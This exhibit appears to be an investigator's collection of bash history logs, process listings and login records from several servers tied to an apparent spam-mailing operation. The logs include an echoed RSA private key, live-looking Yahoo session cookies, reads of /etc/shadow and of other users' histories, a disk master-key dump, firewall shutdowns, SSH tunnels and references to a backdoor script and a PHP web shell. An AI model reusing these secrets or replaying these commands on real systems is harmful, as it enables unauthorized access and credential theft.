

Exhibit 1

Collection of .bash_history logs from several machines.

In no particular order, some duplicates.

Also various bits of information including running processes, wtmp logs, and a few other things. T.S.

History 69.171.64.174

```

24 cd ./ssh
25 mkdir ./ssh
26 cd ./ssh
27 echo "-----BEGIN RSA PRIVATE KEY-----
28 MIIeOQIBAAKCAQEA4CRMvFAQjlt5mulSp8GTja2UmA/ngoWYlu2kW6tR/AC9Hq4N
29 Z/6yb5//ZVPKxCfbKbxd5PvN9j/KrQiqCfBheDxbKziDyFYx0H0fV6ttRFqK+/Jx
30 4SwErnmH/mScyFg9/5q6ToOUOfIbDQINLgq6Pec0bkcbjJ0k5WSjzL003X5JXU0S
31 paDIDMTk9gIJD9WOWdO88lhjcPqa8ZNUPCpFebdsnbC2TFTWj2nsySsRgsEwGhp
32 Pf5s+bMydRKgtUCT1VpmXcDf3IFupmeEckoK7X/w//O4yH1Rk9ooPkyiH+jIXIOB
33 /oPdIWUUIJPaqd7QYJP8bSfDGjBM4lvO96BHqwiBlwKCAQBM2T7heoIVYTEB5xxW
34 xga0O4NnVej5jOPb+bSxtxTLbfeyv1UNtmkQVB0MzEWWFPqvOUTDiYhr3iwWr30
35 x3HgFLGLKVHBB5wM97L5fJp91eaCRH7Q2+RZE7mZDI2GhKeK1fa71VdkUwH11NFR
36 nUcrKrlj+x9jaRP24K0wQNHlib3UgoWsalulxy4T+iznY1Dj8JDawxQ7e7Pw/P+R
37 rSWQa2XO/APXD/tDKCj76sd+1Ewv31qqMU4N44z4UJtcltR5cxyUGZGZE/rwWJJm
38 lRAPEyeGr9PacBpGaiq/Cb06CqjiFNEgF1eu4UHZpUYUi8iqRd9ulrdOv9qFbhE
39 TaLrAoGBAPvL2iSe/xF5w27OPkitkRQ23XcYUfKH9U+JtGC5Cqp+IeCno7IMdyI
40 upWykn2Km356RZ8zw400VljhVKpV0P42VYqnJqIKTSQyLiw7y2HQdfhRKulwckz
41 bXZxcadYr2ym9jQfT770CE6mld0yCffCPI+rLJnbkulaE10/BpY/AoGBAOPCS6Qx
42 mUDNQ5DV4UwjUhCmrjKZUolre0hZaD0P03uGtRfpeSjdu4SF8/AXJWje2agP11bv
43 KxFyMaO/fYaStKnndR2xT6p+ZK6MjFtreLE6RjsrLjjcHzu9twp0/pLd75nOoJNC
44 Ew3ZDywpQV/w5SR5PcLooOmOsU/oM8LxYeuVAoGBAKzBRRSBtBqzlx9bz0uuM9cS
45 36FGgQrtlxV8GC/1hEXxsS1WbZWk40bvFW19V4MsdN2yrnXR7REORmQ1nT//F0SNY
46 dSvGVQFmJkS0sfAETDx6AUOTJ8YohOG83VilTe8YPcbY41bw5jnL6HBx61XZK2gQ
47 KsVCLTZNBa26G+grN7d7AoGAbqAzXmE7zwSdKRdtbh/lxkJUnDvXodUen3viLEmD
48 +it8h/UO9peVmCPOQWpT/7yy3Jn64RUU6zd3MkcRFXp1AhFWJF1v1nfnwn7H1KHq
49 Kjl/XpFQ9wvUp/OPw0Aj4O90YKYwvl3OvZVQgyn7LpmT3oQIDjZ6CwrLJs/eoIPf
50 GqcCgYAbO2fQ8TW7pQbXbqgwAh4QrJrxa6CuRzPHQDrMCet+Ac5CG6Q2hjBKQXI
51 lXym2hm+bCZf6Fn8yyiaCmHojwlfgvJ2oGBiXZTWO63yFZIJxgG7zttGDpPniw
52 72M/NxBbsW7G4w3QY7xjWXeQ9Ffb/bSRfhqBEfCm0qrdckTYtg==
53 -----END RSA PRIVATE KEY-----
54 " > ./id_rsa
55 chmod 400 ./id_rsa
56 ssh -i ./id_rsa -L 17000:0.0.0.0:17051 admin@66.165.231.123
57 ssh -i ./id_rsa -L 17000:0.0.0.0:17603 admin@66.165.231.123
58 exit
59 ssh -i ./id_rsa -D 17000 admin@66.165.231.123
60 sudo -i
61 exit
62 exit
63 ssh -v admin@69.171.64.1
64 exit
65 ls -la
66 cd ./ssh
67 ls
68 cat known_hosts

```

69 cd ..

History 66.165.231.123

```
30 ls maze/
31 head query.csv
32 cd /var/log/mysql
33 ls
34 ll
35 chown mysql.mysql mysql.log
36 service mysqld restart
37 tail -F mysql.log
38 vim /etc/my.cnf
39 service mysqld restart
40 mysqladmin -uroot -p flush=logs
41 mysqladmin -uroot -p flush-logs
42 ls
43 ll
44 ls /var/lib/mysql/
45 mysql -uroot -p
46 exit
47 vim /var/lib/denyhosts/hosts
48 sudo service denyhosts stop
49 vim /var/lib/denyhosts/hosts
50 vim /var/lib/denyhosts/hosts-restricted
51 vim /var/lib/denyhosts/hosts-root
52 vim /var/lib/denyhosts/hosts-valid
53 vim /var/lib/denyhosts/users-hosts
54 vim /var/lib/denyhosts/allowed-hosts
55 service start denyhosts
56 service denyhosts start
57 vim /etc/hosts.deny
58 exit
59 cd /var/lib/denyhosts/
60 ll
61 vim allowed-hosts
62 ll
63 vim hosts-restricted
64 l
65 ll
66 service denyhosts start
67 exit
68 cd /etc/sysconfig/network-scripts/
69 ls
70 cat ifcfg-eth1
71 ifup ifcfg-eth1
72 ip link
73 cd /etc/sysconfig/network-scripts/
74 ls
75 vi ifcfg-eth0
76 ifup ifcfg-eth1
77 cat ifcfg-eth1
```

```
78 /sbin/service network restart
79 cd /etc/sysconfig/network-scripts/
80 ifup ifcfg-eth1
81 ip addr show
82 ping 10.16.32.1
83 ls
84 /sbin/service network restart
85 ip addr add 162.250.124.211/32 dev eth0
86 nc -v -s162.250.124.211 smtp.gmail.com
87 nc -v -s162.250.124.211 smtp.gmail.com 25
88 ifup ifcfg-snowcapdns
89 cat ifcfg-snowcapdns
90 ping 10.1.30.2
91 ip addr show
92 nc -v 162.250.124.211/32 smtp.mail.yahoo.com 25
93 nc -v 162.250.124.211 smtp.mail.yahoo.com 25
94 nc -v 162.250.124.211 smtp.mail.yahoo.com 265
95 nc -v -s162.250.124.211 smtp.mail.yahoo.com 25
96 ip addr show
97 route -n
98 service firewalld stop
99 service iptables stop
100 nc -v -s162.250.124.211 smtp.mail.yahoo.com 25
101 ls
102 ifdown ifcfg-snowcapdns
103 cat ifcfg-snowcapdns
104 ip addr show
105 ls
106 ip addr del 162.250.124.211/32 dev eth0
107 ls
108 ip ro
109 ls
110 ifdown ifcfg-snowcapdns
111 rm ifcfg-snowcapdns
112 ls
113 exit
114 cd /etc/sysconfig/network-scripts/
115 ls
116 vi ifcfg-eth1
117 ifup ifcfg-eth0
118 ifdown ifcfg-eth1
119 ifup ifcfg-eth0
120 cat /etc/sysctl.conf
121 ip addr show
122 route -n
123 vi ifcfg-eth1
124 ifup ifcfg-eth0
125 route -n
126 exit
127 cd /etc/sysconfig/network-scripts/
128 ls
129 ifdown ifcfg-snowcapdns
130 vi ro
```

```
131 ip ro
132 ls
133 cat ifcfg-eth0
134 service iptables stop
135 ls
136 ip link
137 ip link show
138 ip addr show
139 ls
140 vi ifcfg-eth1
141 ifup ifcfg-eth0
142 rm ro
143 ls
144 ifup ifcfg-snowcapdns
145 cat ifcfg-eth0
146 cat ifcfg-eth1
147 vi ifcfg-eth1
148 tcpdump --help
149 tcpdump -XX
150 tcpdump -XX port 30000
151 tcpdump -XX -vv port 30000
152 cat /home/admin/.ssh/authorized_keys
153 cat /home/admin/.ssh/id_rsa.pub
154 exit
155 cat ~/.bash_history
156 nc -vvvv 69.171.64.139 56996
157 cd /root
158 ls -la
159 cd cert.bak
160 ls
161 ls -la
162 cd ..
163 cat ~/.mysql_history
164 cat ~/.bash_history
165 ls -la
166 cd /var
167 ls
168 cd /
169 ls -la
170 cd /home
171 ls
172 cd images
173 ls
174 cd snapshit
175 ls
176 ls -la
177 cd ..
178 ls
179 cd ..
180 ls
181 cd tunnel
182 ls
183 ls -la
```

```
184 cat ./bash_history
185 who
186 ls
187 cd ..
188 ls
189 cat /etc/shadow
190 ls
191 cd steve
192 ls
193 cd ..
194 cd tunnel
195 ls -la
196 cd ./ssh
197 ls
198 cat known_hosts
199 ssh -i "/home/tunnel/.ssh/id_rsa" tunnel@66.165.231.50
200 cd /root
201 ls
202 ls -la
203 cat ./somefile
204 ssh admin@66.165.231.50
205 ls
206 cd /home
207 ls
208 cd images
209 ls
210 cd /home/tunnel
211 ls
212 ls -la
213 cd ./ssh
214 ls
215 nautilus
216 exit
217 nautilus
218 tcpdump -q
219 who
220 ssh -v admin@159.118.139.12
221 ssh -v admin@66.165.247.21
222 ls -la
223 mysql -uroot -p
224 mysql -uroot
225 cd /etc
226 ls
227 cat ./my.cnf
228 cd /home/admin
229 ls
230 ls -la
231 cd mnt
232 ls
233 cd ..
234 mount -a
235 mount
236 cd Dropbox
```

```
237 ls
238 cd /root
239 ls -la
240 cd /home/admin/Dropbox
241 ls
242 ls -la
243 cd RVR_INTEL
244 ls
245 ls -la
246 head -50 mac_fuckery.txt
247 cat bot-guard-protection-b64.txt
248 cat rsa2.key
249 cat mac-me.txt
250 ls
251 ls -la
252 cd ..
253 ls
254 cd RVR_INTEL
255 cd ..
256 ls -la
257 cd RVR_INTEL
258 ls
259 cd ..
260 ls -la
261 cd RVR_INTEL
262 ls
263 cd Mac_Me_iCloud/
264 ls -la
265 cd ..
266 ls
267 cd ..
268 ls
269 cd mailing
270 ls
271 ls -la
272 cd ..
273 ls
274 cd tmp
275 ls
276 cd ..
277 ls
278 netstat -l
279 netstat
280 tcpdump
281 cd usr
282 cd /
283 cd usr
284 ls
285 cd local
286 ls
287 cd share
288 ls
289 cd info
```

```
290 ls
291 cd ..
292 cd lib
293 ls
294 cd ..
295 cd lib
296 ls
297 cd ..
298 cd etc
299 ls
300 cd ..
301 ls
302 cd src
303 ls
304 cd ..
305 ls
306 cd src
307 ls
308 cd ..
309 cd tmp
310 ls
311 cd ..
312 ls
313 cd /var
314 ls
315 cd local
316 ls
317 cd ..
318 cd www
319 ls
320 cd /
321 ls
322 cd home
323 ls
324 cd /home/admin
325 ls
326 cd src
327 ls
328 cd tunnels
329 ls
330 cd ..
331 cd hackershit
332 ls
333 ls -la
334 head -50 ./casus_shell-decoded.php
335 cd ..
336 ls
337 cd /usr
338 cd local
339 cd src
340 ls
341 cd /home/admin
342 ls
```



```

343 cd mnt
344 ls
345 cd ..
346 cd tmp
347 ls
348 la -la
349 ls -la
350 cat ips.txt
351 ls -la
352 cd ..
353 ls -la
354 cat ./mysql_history
    ^C

```

```

'https://smallbusiness.yahoo.com/catalogmgr/product/_module/?ysbparams=eyJhcHBpZCI6ImNhdGFsb2ctbWFuYWdlciIsImJpe
mklkjoieXMtMTQxNDk0ODMyMjY2MzMDliwiYml6dXJsIjoiaHR0cDovL3l3LTE0MTQxNDgzMjI2NjMzNC55YWVhbn3N0b3JlImNvbSIsI
mxhbmciOiJlbi11cyJ9&crumb=la1Y0v2rr.E&&action=get_products&sortby=update_time&sortorder=asc&rowsperpage=10&star
trow=1&endrow=-1' -H 'Pragma: no-cache' -H 'Accept-Encoding: gzip, deflate, sdch' -H 'Accept-Language: en-US,en;q=0.8' -H
'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85
Safari/537.36' -H 'Accept: */*' -H 'Referer: https://smallbusiness.yahoo.com/catalogmgr/product/?bizid=ys-
141414832266334&ysbparams=eyJhcHBpZCI6ImNhdGFsb2ctbWFuYWdlciIsImJpemklkjoieXMtMTQxNDk0ODMyMjY2MzMDliwiY
ml6dXJsIjoiaHR0cDovL3l3LTE0MTQxNDgzMjI2NjMzNC55YWVhbn3N0b3JlImNvbSIsImxhbmciOiJlbi11cyJ9&yid=all.fishing&appid=c
atalog-manager&bizurl=http%253A%252F%252Fys-141414832266334.yahoostore.com&lang=en-
us&timestamp=1442001878.453&signature=0b91286217608d9e3109241342630756089b4258' -H 'X-Requested-With:
XMLHttpRequest' -H 'Cookie: AO=u=1; YLS=v=1&p=1&n=1;
V=v=0.7&m=0&ccOptions=%7B%22show%22%3Afalse%2C%22lang%22%3A%22en%22%2C%22fontSize%22%3A24%2C%22font
Name%22%3A%22Helvetica%20Neue%2CHelvetica%2CArial%2C_sans%22%2C%22fontColor%22%3A%22%23ffffff%22%2C%22f
ontOpacity%22%3A1%2C%22fontEffect%22%3A%22none%22%2C%22bgColor%22%3A%22%23000000%22%2C%22bgOpacity%
22%3A0.75%7D; DSS=ts=1431018180&cnt=3&sdt=1427424544881&sdt=spigot-chr-gcmac;
AMCV_att1=MCAID%7C2AA9C9D7851D3067-4000012B201A3ACB; ucs=tr=143222051494&fs=1;
YM=v=2&u=SuKlu5evhFLZE6vragJCSenS2XK_2EQKYe_JNQ--&d=&f=AAA&t=8h9YVB&s=j2Rw;
DK=v=2&p=OHwyMzMwfFzpcnr1YWx8RGVza3RvcCBCcm93c2VyfG1hYyBvcyB4fDEwLjEw;
ywandp=1000896321451%3A4224888094; fpc=1000896321451%3AZTEq1Wub%7C%7C;
s_pers=%20s_vnum%3D1441080000741%2526vn%253D1%7C1441080000741%3B%20s_nr%3D1440460369199-
Repeat%7C1443052369199%3B%20s_invisit%3Dtrue%7C1440462169202%3B%20s_lv%3D1440460369204%7C1535068369204
%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1440462169204%3B%20gpv_v17%3Dnet%257Catt.yahoo%257Cdes
ktop%7C1440462169207%3B; tos_viewed=1; HP=0; tos_accepted=1; ypcdb=754828f019b314d467f9f3e5596c5793;
tokenid=ordering31441998634824-8449987649138792750;
U=mt=ieGMxp2MhY9nP6tlqYu_weTrpH4i3uHqcohzeWlc&ux=fey8VB&un=amu33bs01s2sj; _vpx=6kVifdgn8uMn;
B=abgutrdagpf7v&b=4&d=c2Ay33NpYEJwUzhtvG0yV_cjhA_5lSko2FJbPA--&s=k1&i=I4U2pr4bFbDFP4Nvn4gg;
F=a=1qs_uzgMvSxk_G2ju88xwaC8L_aaxocyqtD0oltHRopEH1l1rdqhGB7JG_WQRgmLIHsWD_4Ui7WOu4VWdazazKRceXjZ33N4BP
yGSDvyhWeWDKGEKmv3xz6Um.cZCn.EB4Q0SbLI5fOttPaEzoydfpGDYNhCH71t2EZ5&b=LIM4; PH=fn=kfUKyottRVR994SR&i=us;
SSL=v=1&s=hH8gm8fnp2fl6uAQ4JntDyxHb.fmk_BDQVAuq_HQXnKL6bEHajmyAQGTGpGN541jpAYWhx9ZhFobLuXznIq0A9A--
&kv=0;
T=z=a8y8VBaQaBWBpuriVomSohsNjM1MwY2TjY1MzAzNk4x&a=YAE&sk=DAAoVzxqy/Hx8r&ks=EAAzCeB6iJy0oipGDBBLRlgqA--
~E8.d-c2wBTvBPdHIEBPYhDVEVETLpIME1l1z7BVOE7Ql1l1B7wEKSL1l1l1CIEhGPEfDSiVBT1V2l1E1MwEDBTQf-v2l1AYhfy-v1QWfEN
356 ls -la
357 cd ./ssh
358 ls
359 cat authorized_keys
360 cd /root
361 ls
362 ls -la
363 cd ./ssh
364 ls

```

```
365 cd /
366 ls
367 cd /root
368 ls
369 ls -la
370 cat somefile
371 who
372 ls -la
373 cd /
374 ls
375 locate xr
376 cd /usr
377 ls
378 cd src
379 ls
380 cd ..
381 cd local
382 ls
383 cd src
384 ls
385 cd ..
386 cd share
387 ls
388 cd man
389 ls
390 cd /
391 ls
392 cd home
393 ls
394 cd steve
395 ls
396 cd ..
397 cd michelle
398 ls
399 ls -la
400 cd ..
401 ls -la
402 cd lost+found/
403 ls
404 ls -la
405 cd ..
406 cd images
407 ls
408 ls -la
409 cd /root
410 ls
411 cd ~/.ssh
412 ls
413 cat known_hosts
414 ssh admin@66.165.231.238
415 ssh -v admin@66.165.231.50
416 firefox
417 google-chrome
```

```
418 tor
419 cd /sbin
420 ls
421 cryptsetup
422 cryptsetup --usage
423 ssh admin@66.165.231.50
424 ls
425 ./mount.ntfs-3g -a
426 ./mount.ntfs-3g /dev/sda2 /mnt
427 ./mount.ntfs-3g /dev/sda1 /mnt
428 ./mount.ntfs-3g /dev/sda /mnt
429 ./mount.ntfs-3g /dev/sr0 /mnt
430 ls /dev
431 ./mount.ntfs-3g /dev/sdb /mnt
432 ./mount.ntfs-3g /dev/sdb1 /mnt
433 ./mount.ntfs-3g /dev/sdb2 /mnt
434 ./mount.ntfs-3g /dev/sdb1 /mnt
435 fuser
436 fuser -c
437 fuser -l
438 fuser -c /dev/sdb1
439 fuser /dev/sdb1
440 fuser /dev/sdb2
441 fuser /dev/sdb
442 fuser -m /dev/sdb
443 fuser -m /dev/sdb2
444 fuser -m /dev/sdb1
445 fuser 80
446 fuser -v -m /dev/sdb1
447 fuser -v -k /dev/sdb1
448 ./mount.ntfs-3g /dev/sdb1 /mnt
449 mount /dev/sdb1 /mnt
450 cd /mnt
451 ls
452 umount /mnt
453 cd ..
454 umount /mnt
455 mount /dev/sdb /mnt
456 mount.ntfs-3g /dev/sdb /mnt
457 mount.ntfs-3g /dev/sdb2 /mnt
458 mount /dev/sdb2 /mnt
459 lv
460 lvm
461 sysroot /dev/root
462 lvm
463 ls -la
464 cd mnt
465 ls
466 cd ..
467 cd /
468 ls
469 cd tmp
470 ls
```

```
471 ls -la
472 cat binarylogs.sql
473 locate xr
474 find xr
475 cd /usr
476 ls
477 cd local
478 ls
479 cd src
480 ls
481 cd ..
482 ls
483 cd etc
484 ls
485 cd sbin
486 ls
487 cd ..
488 cd sbin
489 ls
490 cd ..
491 cd ..
492 cd /
493 cryptmount
494 cm
495 cd /root
496 ls
497 cd /admin
498 cd /home
499 ls
500 cd admin
501 cat ~/.bash_history
502 ssh admin@return2school.net
503 cat ~/.bash_history
504 ssh admin@66.165.231.54
505 ssh admin@66.165.231.41
506 ls
507 cd /root
508 ls
509 ls -la
510 locate
511 proctor
512 ssh -v admin@c21hand.com
513 ssh -v admin@107.158.36.69
514 proctor
515 cd /home
516 ls
517 cd admin
518 ls
519 cd Dropbox
520 ls
521 cd bin
522 ls
523 cd ..
```

```
524 proctor
525 cd /
526 ls
527 locate proctor
528 cd bin
529 ls
530 cd /etc
531 ls
532 cat crypttab
533 cm
534 cmtab
535 ls
536 cd /sbin
537 ls
538 ./cryptsetup
539 ./cryptsetup --dump-master-key
540 ls
541 cd /usr
542 ls
543 cd bin
544 ls
545 ls
546 cd ..
547 ls
548 cd local
549 ls
550 cd bin
551 ls
552 cd ..
553 ls
554 cd src
555 ls
556 cd ..
557 cd share
558 ls
559 cd applications
560 ls
561 cd ..
562 cd doc
563 ls
564 ls -la
565 cd /
566 ls
567 cd /home
568 ls
569 cd admin
570 ls
571 grep
572 grep --help
573 grep -r 'crypt' ./
574 grep -r -i 'cryptmount' ./
575 ls
576 cd Dropbox
```

```
577 ls
578 cd ..
579 cd /mnt
580 cd /home/admin
581 cd ./mnt
582 ls
583 cd ..
584 cryptmount
585 cm
586 cd tmp
587 ls
588 cd ..
589 cd web
590 ls
591 cd src
592 ls
593 cd httpd
594 ls
595 cd ..
596 cd alvin
597 ls
598 ls -la
599 cat famousquotesnow.com
600 cd ..
601 ls
602 cd pmta
603 ls
604 cd PowerMTA
605 ls
606 cd ..
607 cd ..
608 cd ..
609 cd Dropbox
610 ls
611 cd web
612 ls
613 cd ..
614 cd tmp
615 ls
616 cd ..
617 cd src
618 ls
619 cd baconbread
620 ls
621 cat iframes.xcf
622 ls
623 cd ..
624 ls
625 cd ..
626 ls
627 cd RVR_INTEL
628 ls
629 cd ..
```

```
630 ls
631 cd work_shared/
632 ls
633 cd ..
634 cd doc
635 ls
636 cd /home/admin
637 cd src
638 ls
639 cd spinprofit-sean
640 ls
641 cat init-torstack.sh
642 proctor
643 cd cryptmount/
644 ls
645 cd torstack
646 ls
647 cd ..
648 cd ..
649 ls
650 cd xr
651 ls
652 cd ..
653 ls
654 cd sean-scripts/
655 ls
656 cd ..
657 ls
658 cd cryptmount/
659 ls
660 cd ..
661 cd ..
662 ls
663 cd tools
664 ls
665 cd ..
666 ls
667 cd brian-stuff/
668 ls
669 cd ..
670 cat backdoor.sh
671 cd /etc
672 ls
673 cd ./gcript
674 ls
675 ls -la
676 cd ..
677 cat Trolltech.conf
678 cat statetab
679 cd /
680 ls
681 cd cgroup
682 ls
```

```

683 cd ..
684 cd run
685 cd proc
686 ls
687 ls -la cgroups
688 cd /
689 mount -a
690 mount -A
691 mount
692 cd /dev
693 ls
694 cd /home
695 ls
696 cd steve
697 ls -la
698 cat ~/.bash_history
699 cd ..
700 cd michelle
701 cat ~/.bash_history
702 ls
703 cd ..
704 ls
705 cd tunnel
706 ls
707 cat ~/.bash_history
708 ssh -2fL 50000:localhost:4004 admin@66.165.231.50 sleep 10; nc localhost 50000
709 cd ~/.ssh
710 ls
711 cd /home/tunnel
712 ls
713 cd ~/.ssh
714 ls
715 cat known_hosts
716 ssh -2fL 50000:localhost:4004 -i "/home/tunnel/.ssh/id_rsa" tunnel@66.165.231.50 sleep 10; nc localhost 50000
717 cat id_rsa.pub
718 echo "ssh-rsa
AAAAAB3NzaC1yc2EAAAABIwAAAQEAU6+zrvqvwLbNc4wbi4KHvtht/ZGYo67kea2DW/l8YyE/2BIT2NJix97zhAKpJUW4X9R4lenpo0
xoJpiAhglZhCEgmpsJ2an+lxpKrwZVDv60rMUXewBDLqpBci6Sln7G26mJu7FwLhPjdG8BbV1rRS6lCgNdLhtS8N8wYucu1nXVtjTC6E7
15Z5bSr56i7lqDoUwdmHMrsgpaMg9y/1p65rXsWQVA82qlc4LYtKq4cTX/b2dDduDeiVMsWQU+SKlp7/dTCFjJpA+DGgZ1dFPC9Dlv
TJyeT0Se+TUiUtrRGEXd/cZoYEU9Q63h7r+P0G0QB590suBjE2hqAjBcropQ== tunnel@rcmdev" > ~/.authorized_keys
719 ls
720 ls -la
721 service sshd restart
722 ssh -2fL 50000:localhost:4004 -i "/home/tunnel/.ssh/id_rsa" tunnel@66.165.231.50 sleep 10; nc localhost 50000
723 ip addr
724 ssh -2fL 50000:localhost:4004 -i "/home/tunnel/.ssh/id_rsa" admin@66.165.231.50 sleep 10; nc localhost 50000
725 ssh -2fL 50000:localhost:4004 -i "/home/tunnel/.ssh/id_rsa" admin@66.165.231.50 sleep 10; nc 66.165.231.123 50000
726 netstat
727 tcpdump
728 who
729 ip addr
730 ls -la
731 dropbox

```



```
732 Dropbox
733 dbx
734 ls sbin
735 cd /
736 ls -la
737 ls sbin
738 mount.ntfs-3g
739 ld /dev
740 ls /dev
741 ls -la
742 cd /dev
743 ls -la
744 cd ./root
745 ls
746 mount
747 mount /dev/sdb2 /mnt
748 mount.ntfs-3g
749 mount.ntfs-3g /dev/sdb2 /mnt
750 mount.ntfs-3g /dev/sdb /mnt
751 mount.ntfs-3g /dev/sda /mnt
752 cd /
753 la
754 cat /root/.bash_history
755 cat /root/.bash_history netstat
756 tcpdump
757 ls -la
758 cd /etc
759 ls
760 fdisk -l
761 cd /mnt
762 ls
763 cd ..
764 mount /dev/mapper/vg_rcmdev-lv_root /mnt
765 cd mnt
766 ls
767 cd ..
768 ls -la
769 ls
770 cd mnt
771 ls
772 cd ..
773 umount /mnt
774 mount /dev/sdb1 /mnt
775 cd /mnt
776 ls
777 cd ..
778 umount /mnt
779 ls
780 mount /dev/sdb /mnt
781 ls /dev
782 mount /dev/sda1 /mnt
783 cd /mnt
784 ls
```

```
785 cd ..
786 umount /mnt
787 mount /dev/root /mnt
788 cd /mnt
789 ls
790 cd ..
791 ls
792 umount /mnt
793 cd tmp
794 ls
795 ls dropbox_errorFIAMD.L.txt
796 ls -la dropbox_errorFIAMD.L.txt
797 cat dropbox_errorFIAMD.L.txt
798 screen dropbox
799 screen virtualbox
800 virtualbox
801 ls -la
802 cd /
803 ls
804 cd var
805 ls
806 cd /etc
807 ls
808 cat hosts
809 ssh -v admin@66.165.231.50
810 ssh -v admin@45.32.17.115
811 ssh -v admin@206.63.224.15
812 ssh -v admin@66.165.231.51
813 ssh -v admin@45.32.187.128
814 ssh -v -p 2252 admin@swift.mxrmedia.com
815 ssh -v admin@snowcapdns.com
816 ssh -v -p 2252 admin@snowcapdns.com
817 ssh -v admin@middec.com
818 ssh -v admin@162.246.21.166
819 ssh -v admin@174.47.2.71
820 ssh -v -p 2252 admin@174.47.2.71
821 ssh -v admin@66.165.231.100
822 ssh -v -p 56996 admin@66.165.231.100
823 ssh -v -p 8082 admin@66.165.231.100
824 ssh -v -p 58998 admin@66.165.231.100
825 ssh -v admin@216.158.229.136
826 ssh -v admin@206.63.224.11
827 ssh -v admin@splunk
828 ssh -v admin@v9
829 ssh -v admin@vhost68
830 ssh -v admin@rwhois
831 ssh -v admin@vultr-dc
832 ssh -vvvvv admin@vultr-dc
833 ssh -vvvvv -p 5022 admin@vultr-dc
834 ssh -vvvvv -p 2022 admin@vultr-d
835 rdesktop vultr-d
836 ssh -vvvvv admin@janusdns.com
837 ssh -vvvvv admin@squid-ll
```

```
838 ssh -vvvv admin@mysql3
839 ssh -vvvv admin@elk-devel
840 ping baconbread.com
841 rwhois
842 whois
843 whois baconbread.com
844 ssh -v admin@66.206.0.9
845 ssh -v admin@66.165.231.139
846 ssh -v admin@66.165.231.41
847 who
848 who -u
849 tcpdump -q
850 ssh -v -p 2252 root@45.32.17.115
851 exit
852 cd /home
853 ls
854 cd tunnel
855 ls -la
856 cat ~/.bash_history
857 ls -la
858 cd ~/.ssh
859 ls
860 cat authorized_keys
861 cat ~/.known_hosts
862 cat ~/.id_rsa
863 ls
864 cat known_hosts
865 cd /
866 ls
867 ls -la
868 cat ~/.rnd
869 cd /home
870 ls
871 cd tunnel
872 ls
873 ls -la
874 cat ~/.esd_auth
875 cd /
876 cd /etc
877 ls
878 cat hosts
879 ssh -v admin@69.171.64.41
880 ssh -v admin@69.171.64.41
881 ls -la
882 cd unbound
883 ls
884 cat root.anchor
885 cat named.conf
886 cd named
887 ls
888 cd ..
889 cat named.conf
890 cd named
```

```
891 ls
892 cd /var/named
893 ls
894 cd slaves
895 ls
896 cd ..
897 cd data
898 ls
899 ls -la
900 cd ..
901 ls
902 cd dynamic/
903 ls
904 cat managed-keys.bind
905 mysql -uroot -p
906 mysql -uroot -p
907 mysql -uroot -p
908 cd /root
909 ls
910 cd /home
911 ls
912 cd /admin
913 ls
914 cd admin
915 ls
916 ls -la
917 ls
918 cd dkim
919 ls
920 cd spixy.com
921 ls
922 cd spixy.com/
923 ls
924 cd st
925 cd steve
926 cd ..
927 cd steve/
928 ls
929 cd ..
930 cd ..
931 ls
932 cd ..
933 ls
934 cd images
935 ls
936 cd snapshot/
937 ls
938 cd ..
939 cd ..
940 ls
941 cd steve/
942 ls
943 ls -la
```

```
944 ls -la
945 cat ~/.bash_history
946 dig -x 66.165.231.123
947 dig -x 166.88.192.100
948 ls /tmp
949 ls /tmp/orbit-tunnel/
950 ls -la /tmp/orbit-tunnel/
951 cd ..
952 ls
953 cd /sbin
954 ls
955 fdisk -l
956 cd /dev
957 ls
958 cd /mnt
959 cd ..
960 mount /dev/sdb2 /mnt
961 mount /dev/ram0 /mnt
962 lsblk
963 mount /dev/sr0 /mnt
964 mount /dev/sda /mnt
965 mount -t
966 mount -a
967 mount
968 mount /dev/sda /mnt
969 mount /dev/sr0 /mnt
970 mount -t ext4 /dev/sr0 /mnt
971 mount -t ext4 /dev/ram0 /mnt
972 dmesg | tail
973 ssh -v admin@69.171.64.41
974 ls -la
975 cd /root
976 ls
977 cd ~/.ssh
978 ls
979 cat known_hosts
980 ssh -v admin@66.45.232.98
981 cat known_hosts
982 ssh -v admin@45.76.98.34
983 who
984 who -r
985 rdesktop
986 ssh admin@ known_hosts 66.165.232.130
987 ssh admin@66.165.232.130
988 cd /etc
989 ls
990 cat ./resolv.conf
991 cat gai.conf
992 cat lftp.conf
993 cat fstab
994 cat hosts
995 ssh -v admin@107.170.16.7
996 ssh -v admin@66.165.231.66
```

```

997 ping prod
998 ssh -v admin@prod
999 ping production
1000 exit
1001 who
1002 screen -ls

```

66.165.231.240

```
4661 ? Ss 0:00 ssh -X -f admin@10.16.32.69 -L 2001:10.16.32.69:22 -N
```

66.165.231.239

```

admin pts/0 104.200.151.77 Wed Feb 1 21:16 - 21:30 (00:13)
admin pts/0 104.200.151.25 Tue Jan 31 14:45 - 20:51 (06:05)

```

```

436 sudo su
437 ssh -vvv -p 5022 admin@108.61.182.72
438 ssh -vvv admin@108.61.182.72
439 ssh -vvv admin@45.32.17.115
440 ssh -vvv admin@66.206.0.48

```

66.165.231.69

```

[admin@vhost32 ~]$ who
(unknown) :0 2016-06-14 15:03 (:0)
admin pts/0 2016-10-28 10:50 (:1)
admin pts/1 2016-09-20 10:08 (:1)
23248 ? Ss 0:00 ssh -X -f -N -T 22222:localhost:22 admin@206.63.224.12

```

66.165.231.68

```

[root@vHost68 mnt]# last
admin pts/1 66.165.231.123 Thu Feb 9 15:55 still logged in
admin pts/1 66.165.231.123 Tue Feb 7 09:38 - 09:44 (00:06)
admin pts/1 66.165.231.123 Mon Feb 6 20:37 - 20:42 (00:05)
admin pts/1 66.165.231.123 Mon Feb 6 11:43 - 12:22 (00:39)
admin pts/1 66.165.231.123 Mon Feb 6 10:38 - 10:38 (00:00)
admin pts/0 :1 Thu Jan 26 11:49 still logged in
(unknown :0 :0 Fri Dec 9 09:21 still logged in
reboot system boot 3.10.0-327.36.3. Fri Dec 9 09:21 - 16:03 (62+06:42)
admin pts/0 66.165.231.121 Fri Dec 9 09:18 - 09:19 (00:01)
admin pts/0 cpe-24-160-52-17 Fri Dec 2 07:46 - 07:47 (00:00)
(unknown :0 :0 Fri Dec 2 07:45 - 09:19 (7+01:34)
reboot system boot 3.10.0-327.36.3. Fri Dec 2 07:45 - 09:19 (7+01:34)
admin pts/1 cpe-24-160-52-17 Fri Dec 2 07:32 - 07:43 (00:11)
admin pts/2 cpe-24-160-49-23 Fri Oct 28 13:02 - 22:15 (09:13)
